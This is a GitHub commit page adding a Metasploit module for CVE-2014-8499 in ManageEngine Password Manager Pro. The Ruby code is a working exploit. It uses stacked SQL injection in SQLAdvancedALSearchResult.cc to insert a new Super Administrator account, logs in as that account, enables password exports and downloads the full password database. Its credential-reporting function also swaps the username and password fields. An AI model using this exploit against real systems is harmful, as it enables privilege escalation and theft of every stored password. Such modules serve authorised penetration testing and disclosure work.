Skip to content

Commit f081ede

Browse files
committed
Land rapid7#4155, @pedrib's module for CVE-2014-8499
* Password Manager Pro privesc + password disclosure
2 parents a500917 + 9df31e9 commit f081ede

File tree

1 file changed

+328
-0
lines changed

1 file changed

+328
-0
lines changed
Lines changed: 328 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,328 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Auxiliary
9+
10+
include Msf::Exploit::Remote::HttpClient
11+
include Msf::Auxiliary::Report
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'ManageEngine Password Manager SQLAdvancedALSearchResult.cc Pro SQL Injection',
16+
'Description' => %q{
17+
ManageEngine Password Manager Pro (PMP) has an authenticated blind SQL injection
18+
vulnerability in SQLAdvancedALSearchResult.cc that can be abused to escalate
19+
privileges and obtain Super Administrator access. A Super Administrator can then
20+
use its privileges to dump the whole password database in CSV format. PMP can use
21+
both MySQL and PostgreSQL databases but this module only exploits the latter as
22+
MySQL does not support stacked queries with Java. PostgreSQL is the default database
23+
in v6.8 and above, but older PMP versions can be upgraded and continue using MySQL,
24+
so a higher version does not guarantee exploitability. This module has been tested
25+
on v6.8 to v7.1 build 7104 on both Windows and Linux. The vulnerability is fixed in
26+
v7.1 build 7105 and above.
27+
},
28+
'Author' =>
29+
[
30+
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
31+
],
32+
'License' => MSF_LICENSE,
33+
'References' =>
34+
[
35+
[ 'CVE', '2014-8499' ],
36+
[ 'OSVDB', '114485' ],
37+
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/ManageEngine/me_pmp_privesc.txt' ],
38+
[ 'URL', 'http://seclists.org/fulldisclosure/2014/Nov/18' ]
39+
],
40+
'DisclosureDate' => 'Nov 8 2014'))
41+
42+
register_options(
43+
[
44+
Opt::RPORT(7272),
45+
OptBool.new('SSL', [true, 'Use SSL', true]),
46+
OptString.new('USERNAME', [true, 'The username to login as', 'guest']),
47+
OptString.new('PASSWORD', [true, 'Password for the specified username', 'guest']),
48+
OptString.new('TARGETURI', [ true, "Password Manager Pro application URI", '/'])
49+
], self.class)
50+
end
51+
52+
53+
def login(username, password)
54+
# 1st step: we obtain a JSESSIONID cookie...
55+
res = send_request_cgi({
56+
'method' => 'GET',
57+
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc')
58+
})
59+
60+
if res && res.code == 200
61+
# 2nd step: we try to get the ORGN_NAME and AUTHRULE_NAME from the page (which is only needed for the MSP versions)
62+
if res.body && res.body.to_s =~ /id="ORGN_NAME" name="ORGN_NAME" value="([\w]*)"/
63+
orgn_name = $1
64+
else
65+
orgn_name = nil
66+
end
67+
68+
if res.body && res.body.to_s =~ /id="AUTHRULE_NAME" name="AUTHRULE_NAME" value="([\w]*)"/
69+
authrule_name = $1
70+
else
71+
authrule_name = nil
72+
end
73+
74+
# 3rd step: we try to get the domainName for the user
75+
cookie = res.get_cookies
76+
res = send_request_cgi({
77+
'method' => 'POST',
78+
'uri' => normalize_uri(target_uri.path, 'login', 'AjaxResponse.jsp'),
79+
'ctype' => "application/x-www-form-urlencoded",
80+
'cookie' => cookie,
81+
'vars_get' => {
82+
'RequestType' => 'GetUserDomainName',
83+
'userName' => username
84+
}
85+
})
86+
if res && res.code == 200 && res.body
87+
domain_name = res.body.to_s.strip
88+
else
89+
domain_name = nil
90+
end
91+
92+
# 4th step: authenticate to j_security_check, follow the redirect to PassTrixMain.cc and get its cookies.
93+
# For some reason send_request_cgi! doesn't work, so follow the redirect manually...
94+
vars_post = {
95+
'j_username' => username,
96+
'username' => username,
97+
'j_password' => password
98+
}
99+
vars_post['ORGN_NAME'] = orgn_name if orgn_name
100+
vars_post['AUTHRULE_NAME'] = authrule_name if authrule_name
101+
vars_post['domainName'] = domain_name if domain_name
102+
103+
res = send_request_cgi({
104+
'method' => 'POST',
105+
'uri' => normalize_uri(target_uri.path, 'j_security_check;' + cookie.to_s.gsub(';','')),
106+
'ctype' => "application/x-www-form-urlencoded",
107+
'cookie' => cookie,
108+
'vars_post' => vars_post
109+
})
110+
if res && res.code == 302
111+
res = send_request_cgi({
112+
'method' => 'GET',
113+
'uri' => normalize_uri(target_uri.path, 'PassTrixMain.cc'),
114+
'cookie' => cookie,
115+
})
116+
117+
if res && res.code == 200
118+
# 5th step: get the c ookies sent in the last response
119+
return res.get_cookies
120+
end
121+
end
122+
end
123+
return nil
124+
end
125+
126+
127+
def inject_sql(old_style)
128+
# On versions older than 7000 the injection is slightly different (we call it "old style").
129+
# For "new style" versions we can escalate to super admin by doing
130+
# "update aaaauthorizedrole set role_id=1 where account_id=#{user_id};insert into ptrx_superadmin values (#{user_id},true);"
131+
# However for code simplicity let's just create a brand new user which works for both "old style" and "new style" versions.
132+
if old_style
133+
sqli_prefix = '\\\'))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
134+
else
135+
sqli_prefix = '\\\'))))) GROUP BY "PTRX_RID","PTRX_AID","PTRX_RNAME","PTRX_DESC","DOMAINNAME","PTRX_LNAME","PTRX_PWD","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24","A1","A2","A3","A4","A5","A6","A7","A8","A9","A10","A11","A12","A13","A14","A15","A16","A17","A18","A19","A20","A21","A22","A23","A24","PTRX_NOTES") AS Ptrx_DummyPwds GROUP BY "PTRX_RID","PTRX_RNAME","PTRX_DESC","PTRX_ATYPE","PTRX_DNSN","PTRX_DEPT","PTRX_LOTN","PTRX_OSTYPE","PTRX_RURL","C1","C2","C3","C4","C5","C6","C7","C8","C9","C10","C11","C12","C13","C14","C15","C16","C17","C18","C19","C20","C21","C22","C23","C24") as ' + Rex::Text.rand_text_alpha_lower(rand(8)+3) + ";"
136+
end
137+
138+
user_id = Rex::Text.rand_text_numeric(4)
139+
time = Rex::Text.rand_text_numeric(8)
140+
username = Rex::Text.rand_text_alpha_lower(6)
141+
username_chr = ""
142+
username.each_char do |c|
143+
username_chr << 'chr(' << c.ord.to_s << ')||'
144+
end
145+
username_chr.chop!.chop!
146+
147+
password = Rex::Text.rand_text_alphanumeric(10)
148+
password_chr = ""
149+
password.each_char do |c|
150+
password_chr << 'chr(' << c.ord.to_s << ')||'
151+
end
152+
password_chr.chop!.chop!
153+
154+
group_chr = ""
155+
'Default Group'.each_char do |c|
156+
group_chr << 'chr(' << c.ord.to_s << ')||'
157+
end
158+
group_chr.chop!.chop!
159+
160+
sqli_command =
161+
"insert into aaauser values (#{user_id},$$$$,$$$$,$$$$,#{time},$$$$);" +
162+
"insert into aaapassword values (#{user_id},#{password_chr},$$$$,0,2,1,#{time});" +
163+
"insert into aaauserstatus values (#{user_id},$$ACTIVE$$,#{time});" +
164+
"insert into aaalogin values (#{user_id},#{user_id},#{username_chr});" +
165+
"insert into aaaaccount values (#{user_id},#{user_id},1,1,#{time});" +
166+
"insert into aaaauthorizedrole values (#{user_id},1);" +
167+
"insert into aaaaccountstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
168+
"insert into aaapasswordstatus values (#{user_id},-1,0,$$ACTIVE$$,#{time});" +
169+
"insert into aaaaccadminprofile values (#{user_id},$$" + Rex::Text.rand_text_alpha_upper(8) + "$$,-1,-1,-1,-1,-1,false,-1,-1,-1,$$$$);" +
170+
"insert into aaaaccpassword values (#{user_id},#{user_id});" +
171+
"insert into ptrx_resourcegroup values (#{user_id},3,#{user_id},0,0,0,0,#{group_chr},$$$$);" +
172+
"insert into ptrx_superadmin values (#{user_id},true);"
173+
sqli_suffix = "-- "
174+
175+
res = send_request_cgi({
176+
'method' => 'POST',
177+
'uri' => normalize_uri(target_uri.path, "SQLAdvancedALSearchResult.cc"),
178+
'cookie' => @cookie,
179+
'vars_post' => {
180+
'COUNT' => Rex::Text.rand_text_numeric(2),
181+
'SEARCH_ALL' => sqli_prefix + sqli_command + sqli_suffix,
182+
'USERID' => Rex::Text.rand_text_numeric(4)
183+
}
184+
})
185+
186+
return [ username, password ]
187+
end
188+
189+
190+
def get_version
191+
res = send_request_cgi({
192+
'uri' => normalize_uri("PassTrixMain.cc"),
193+
'method' => 'GET'
194+
})
195+
if res && res.code == 200 && res.body &&
196+
res.body.to_s =~ /ManageEngine Password Manager Pro/ &&
197+
(
198+
res.body.to_s =~ /login\.css\?([0-9]+)/ || # PMP v6
199+
res.body.to_s =~ /login\.css\?version=([0-9]+)/ || # PMP v6
200+
res.body.to_s =~ /\/themes\/passtrix\/V([0-9]+)\/styles\/login\.css"/ # PMP v7
201+
)
202+
return $1.to_i
203+
else
204+
return 9999
205+
end
206+
end
207+
208+
209+
def check
210+
version = get_version
211+
case version
212+
when 0..7104
213+
return Exploit::CheckCode::Appears
214+
when 7105..9998
215+
return Exploit::CheckCode::Safe
216+
else
217+
return Exploit::CheckCode::Unknown
218+
end
219+
end
220+
221+
222+
def run
223+
unless check == Exploit::CheckCode::Appears
224+
print_error("#{peer} - Fingerprint hasn't been successful, trying to exploit anyway...")
225+
end
226+
227+
version = get_version
228+
@cookie = login(datastore['USERNAME'], datastore['PASSWORD'])
229+
if @cookie == nil
230+
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate.")
231+
end
232+
233+
creds = inject_sql(version < 7000 ? true : false)
234+
username = creds[0]
235+
password = creds[1]
236+
print_good("#{peer} - Created a new Super Administrator with username: #{username} | password: #{password}")
237+
238+
cookie_su = login(username, password)
239+
240+
if cookie_su.nil?
241+
fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate as Super Administrator, account #{username} might not work.")
242+
end
243+
244+
print_status("#{peer} - Reporting Super Administrator credentials...")
245+
report_super_admin_creds(username, password)
246+
247+
print_status("#{peer} - Leaking Password database...")
248+
loot_passwords(cookie_su)
249+
end
250+
251+
def report_super_admin_creds(username, password)
252+
status = Metasploit::Model::Login::Status::SUCCESSFUL
253+
254+
service_data = {
255+
address: rhost,
256+
port: rport,
257+
service_name: 'https',
258+
protocol: 'tcp',
259+
workspace_id: myworkspace_id
260+
}
261+
262+
credential_data = {
263+
origin_type: :service,
264+
module_fullname: self.fullname,
265+
private_type: :password,
266+
private_data: username,
267+
username: password
268+
}
269+
270+
credential_data.merge!(service_data)
271+
credential_core = create_credential(credential_data)
272+
login_data = {
273+
core: credential_core,
274+
access_level: 'Super Administrator',
275+
status: status,
276+
last_attempted_at: DateTime.now
277+
}
278+
login_data.merge!(service_data)
279+
create_credential_login(login_data)
280+
end
281+
282+
def loot_passwords(cookie_admin)
283+
# 1st we turn on password exports
284+
send_request_cgi({
285+
'method' => 'POST',
286+
'uri' => normalize_uri(target_uri.path, 'ConfigureOffline.ve'),
287+
'cookie' => cookie_admin,
288+
'vars_post' => {
289+
'IS_XLS' => 'true',
290+
'includePasswd' => 'true',
291+
'HOMETAB' => 'true',
292+
'RESTAB' => 'true',
293+
'RGTAB' => 'true',
294+
'PASSWD_RULE' => 'Offline Password File',
295+
'LOGOUT_TIME' => '20'
296+
}
297+
})
298+
299+
# now get the loot!
300+
res = send_request_cgi({
301+
'method' => 'GET',
302+
'uri' => normalize_uri(target_uri.path, 'jsp', 'xmlhttp', 'AjaxResponse.jsp'),
303+
'cookie' => cookie_admin,
304+
'vars_get' => {
305+
'RequestType' => 'ExportResources'
306+
}
307+
})
308+
309+
if res && res.code == 200 && res.body && res.body.to_s.length > 0
310+
vprint_line(res.body.to_s)
311+
print_good("#{peer} - Successfully exported password database from Password Manager Pro.")
312+
loot_name = 'manageengine.passwordmanagerpro.password.db'
313+
loot_type = 'text/csv'
314+
loot_filename = 'manageengine_pmp_password_db.csv'
315+
loot_desc = 'ManageEngine Password Manager Pro Password DB'
316+
p = store_loot(
317+
loot_name,
318+
loot_type,
319+
rhost,
320+
res.body,
321+
loot_filename,
322+
loot_desc)
323+
print_status("#{peer} - Password database saved in: #{p}")
324+
else
325+
print_error("#{peer} - Failed to export Password Manager Pro passwords.")
326+
end
327+
end
328+
end

0 commit comments

Comments
 (0)